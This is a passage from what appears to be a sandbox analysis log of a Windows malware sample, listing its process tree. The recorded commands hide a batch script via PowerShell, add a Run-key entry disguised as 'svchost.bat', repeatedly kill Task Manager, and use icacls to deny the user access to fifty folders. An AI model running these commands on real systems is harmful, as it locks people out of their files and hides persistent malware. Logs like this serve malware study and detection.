      icacls "C:\Users\Admin\Desktop\SystemFolder18" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6136
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /setowner "Admin" /t
      4⤵
      PID:2808
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      Modifies file permissions
      PID:5176
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /setowner "Admin" /t
      4⤵
      PID:5636
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2892
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /setowner "Admin" /t
      4⤵
      PID:548
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4164
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /setowner "Admin" /t
      4⤵
      PID:2768
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1108
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /setowner "Admin" /t
      4⤵
      PID:4696
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4400
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /setowner "Admin" /t
      4⤵
      PID:232
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3304
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /setowner "Admin" /t
      4⤵
      PID:6052
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3380
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /setowner "Admin" /t
      4⤵
      PID:2132
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4568
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /setowner "Admin" /t
      4⤵
      PID:5472
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5528
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /setowner "Admin" /t
      4⤵
      PID:3892
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3632
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder29" /setowner "Admin" /t
      4⤵
      PID:5140
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder29" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4276
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder30" /setowner "Admin" /t
      4⤵
      PID:2768
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder30" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2512
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder31" /setowner "Admin" /t
      4⤵
      PID:2880
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder31" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5704
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder32" /setowner "Admin" /t
      4⤵
      PID:1068
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder32" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2796
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder33" /setowner "Admin" /t
      4⤵
      PID:5032
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder33" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5944
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder34" /setowner "Admin" /t
      4⤵
      PID:4512
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder34" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1364
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder35" /setowner "Admin" /t
      4⤵
      PID:344
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder35" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5168
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder36" /setowner "Admin" /t
      4⤵
      PID:476
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder36" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5408
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder37" /setowner "Admin" /t
      4⤵
      PID:3936
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder37" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      Modifies file permissions
      PID:3952
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder38" /setowner "Admin" /t
      4⤵
      PID:4744
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder38" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:632
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder39" /setowner "Admin" /t
      4⤵
      PID:4768
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder39" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3372
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder40" /setowner "Admin" /t
      4⤵
      Modifies file permissions
      PID:1364
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder40" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5528
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder41" /setowner "Admin" /t
      4⤵
      PID:2496
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder41" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3580
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder42" /setowner "Admin" /t
      4⤵
      PID:5524
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder42" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:744
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder43" /setowner "Admin" /t
      4⤵
      PID:5248
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder43" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4520
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder44" /setowner "Admin" /t
      4⤵
      PID:3836
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder44" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2024
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder45" /setowner "Admin" /t
      4⤵
      Modifies file permissions
      PID:1948
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder45" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5144
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder46" /setowner "Admin" /t
      4⤵
      PID:5876
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder46" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5308
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder47" /setowner "Admin" /t
      4⤵
      PID:6076
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder47" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5968
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder48" /setowner "Admin" /t
      4⤵
      PID:4104
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder48" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5484
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder49" /setowner "Admin" /t
      4⤵
      PID:1460
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder49" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4272
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder50" /setowner "Admin" /t
      4⤵
      PID:6016
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder50" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3552
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5424
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:5108
      - C:\Windows\system32\mode.com
        
        mode con: cols=1 lines=1
        6⤵
        
        PID:4556
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:5876
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      Kills process with taskkill
      PID:5164
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5216
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4832
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:5204
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      Kills process with taskkill
      PID:5968
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2224
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:3880
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4520
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  PID:2472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  PID:4720
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:1544
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:5216
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      PID:5052
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      PID:4272
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5376
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
      4⤵
      PID:2064
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2256
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
      4⤵
      PID:4624
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5356
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
      4⤵
      PID:5276
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2512
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
      4⤵
      PID:5620
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4696
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
      4⤵
      PID:1068
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1720
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
      4⤵
      PID:5000
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1752
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
      4⤵
      PID:5452
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      Modifies file permissions
      PID:5856
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
      4⤵
      PID:660
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4916
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
      4⤵
      PID:5912
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4104
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
      4⤵
      PID:4908
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3636
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
      4⤵
      PID:5528
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      Modifies file permissions
      PID:1440
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
      4⤵
      PID:5824
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4112
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
      4⤵
      Modifies file permissions
      PID:2496
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4248
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /setowner "Admin" /t
      4⤵
      PID:5108
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3340
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /setowner "Admin" /t
      4⤵
      PID:2652
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1720
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /setowner "Admin" /t
      4⤵
      PID:3440
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4520
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /setowner "Admin" /t
      4⤵
      PID:6128
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2448
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /setowner "Admin" /t
      4⤵
      PID:5964
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2616
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /setowner "Admin" /t
      4⤵
      PID:4192
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1460
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /setowner "Admin" /t
      4⤵
      Modifies file permissions
      PID:2620
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4996
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /setowner "Admin" /t
      4⤵
      PID:5152
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4296
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /setowner "Admin" /t
      4⤵
      PID:4164
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5276
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /setowner "Admin" /t
      4⤵
      PID:5884
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2288
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /setowner "Admin" /t
      4⤵
      PID:2652
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:116
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /setowner "Admin" /t
      4⤵
      PID:1720
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4664
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /setowner "Admin" /t
      4⤵
      PID:5332
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3000
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /setowner "Admin" /t
      4⤵
      PID:5356
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5508
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder29" /setowner "Admin" /t
      4⤵
      PID:2200
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder29" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4740
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder30" /setowner "Admin" /t
      4⤵
      PID:4772
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder30" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5912
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder31" /setowner "Admin" /t
      4⤵
      PID:372
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder31" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      Modifies file permissions
      PID:5128
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder32" /setowner "Admin" /t
      4⤵
      PID:2024
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder32" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:524
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder33" /setowner "Admin" /t
      4⤵
      PID:5204
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder33" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5264
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder34" /setowner "Admin" /t
      4⤵
      PID:2116
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder34" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5972
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder35" /setowner "Admin" /t
      4⤵
      PID:5792
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder35" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6016
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder36" /setowner "Admin" /t
      4⤵
      PID:5424
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder36" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4240
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder37" /setowner "Admin" /t
      4⤵
      PID:4268
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder37" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:864
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder38" /setowner "Admin" /t
      4⤵
      PID:4220
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder38" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2524
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder39" /setowner "Admin" /t
      4⤵
      PID:1868
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder39" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3176
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder40" /setowner "Admin" /t
      4⤵
      PID:5400
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder40" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4708
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder41" /setowner "Admin" /t
      4⤵
      PID:5348
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder41" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2448
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder42" /setowner "Admin" /t
      4⤵
      PID:3616
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder42" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6136
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder43" /setowner "Admin" /t
      4⤵
      PID:2964
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder43" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5636
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder44" /setowner "Admin" /t
      4⤵
      PID:5264
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder44" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4928
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder45" /setowner "Admin" /t
      4⤵
      PID:3632
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder45" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5104
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder46" /setowner "Admin" /t
      4⤵
      PID:1108
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder46" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4456
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder47" /setowner "Admin" /t
      4⤵
      PID:4584
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder47" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5084
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder48" /setowner "Admin" /t
      4⤵
      PID:3680
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder48" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5412
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder49" /setowner "Admin" /t
      4⤵
      PID:2972
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder49" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5968
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder50" /setowner "Admin" /t
      4⤵
      PID:5508
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder50" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4768
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      PID:4008
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:1744
      - C:\Windows\system32\mode.com
        
        mode con: cols=1 lines=1
        6⤵
        
        PID:5392
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
        6⤵
        
        PID:5808
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
        6⤵
        
        PID:3636
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:1660
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
        6⤵
        
        PID:1064
      - C:\Windows\system32\icacls.exe
        
